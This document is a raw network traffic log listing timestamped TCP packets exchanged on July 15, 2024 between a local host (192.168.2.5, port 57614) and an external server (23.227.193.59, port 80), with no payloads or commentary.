Jul 15, 2024 00:48:34.757395029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.757407904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.757421017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.757457018 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.757505894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.815769911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.815802097 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.815814018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.815881968 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.815937042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.815949917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.815960884 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.815973997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.815980911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.815999031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.816158056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.816168070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.816201925 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.816427946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.816437960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.816471100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.816490889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.816519976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.816533089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.816545010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.816555977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.816556931 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.816569090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.816571951 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.816602945 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817356110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817405939 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817416906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817428112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817459106 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817538023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817552090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817560911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817573071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817584991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817584991 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817625046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817636967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817647934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817677975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817677021 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817689896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817701101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817712069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817713022 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817723989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817729950 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817735910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817745924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817755938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817784071 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817832947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817843914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817873001 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817877054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817889929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817898989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817910910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817918062 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.817924976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.817934036 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.818213940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818226099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818236113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818245888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818259001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818264961 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.818288088 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.818298101 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.818356037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818475008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818485975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818495035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818506002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818511963 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.818538904 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.818608046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818617105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818653107 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.818829060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818841934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818851948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818861961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818870068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.818873882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818886995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.818900108 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.818968058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818978071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818986893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.818996906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819005013 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819009066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819020033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819030046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819030046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819041967 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819048882 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819055080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819067001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819078922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819086075 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819104910 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819122076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819133997 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819144011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819154024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819159031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819165945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819180965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819181919 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819195032 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819201946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819212914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819222927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819236040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819237947 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819242001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819252014 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819262981 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819268942 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819283962 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819298029 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819470882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819480896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819492102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819516897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819528103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819533110 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819539070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819550037 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819550991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819574118 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819714069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819725037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819742918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819751024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819757938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819761992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819775105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819777966 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819787979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819802999 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819803953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819827080 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819888115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819899082 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819909096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819921017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819928885 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819931984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819943905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.819952011 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.819966078 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.820019960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.820030928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.820040941 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.820054054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.820060015 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.820065022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.820076942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.820084095 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.820097923 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.820276022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.820319891 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.847027063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.847040892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.847053051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.847064018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.847074986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.847085953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.847100019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.847131968 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.847188950 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.904234886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.904284954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.904294968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.904371977 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.904500008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.904510021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.904520035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.904531002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.904536963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.904551983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.904576063 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.904934883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.905026913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.905035973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.905067921 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.905236006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.905246973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.905280113 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.905292034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.905303001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.905312061 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.905332088 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.905350924 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.905880928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.905891895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.905901909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.905924082 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906030893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906042099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906078100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906145096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906155109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906183958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906217098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906227112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906235933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906246901 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906255960 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906258106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906280994 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906296015 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906408072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906419039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906436920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906447887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906449080 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906457901 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906470060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906481028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906491995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906491995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906516075 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906536102 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906629086 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906639099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906647921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906665087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906671047 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906677961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906689882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906697989 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906701088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906711102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.906714916 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.906754971 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.907789946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.907861948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.907871962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.907898903 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908015966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908026934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908036947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908046961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908055067 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908057928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908070087 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908092022 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908166885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908178091 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908188105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908198118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908205032 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908210039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908236980 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908341885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908351898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908360958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908371925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908381939 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908382893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908395052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908406973 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908426046 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908591032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908601046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908611059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908623934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908629894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908690929 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908749104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908759117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908767939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908777952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908787966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908788919 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908801079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908811092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908813000 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908822060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908829927 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908833981 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908844948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908845901 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908854961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908868074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.908873081 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.908900976 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909080982 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909091949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909101009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909111977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909121990 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909122944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909133911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909138918 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909145117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909156084 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909156084 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909168005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909178019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909183025 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909188986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909208059 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909224987 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909365892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909377098 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909387112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909396887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909404993 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909405947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909411907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909425020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909435034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909435034 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909452915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909454107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909466028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909467936 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909476995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909492970 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909493923 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.909504890 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909514904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.909522057 CEST	57614	80	192.168.2.5	23.227.193.59
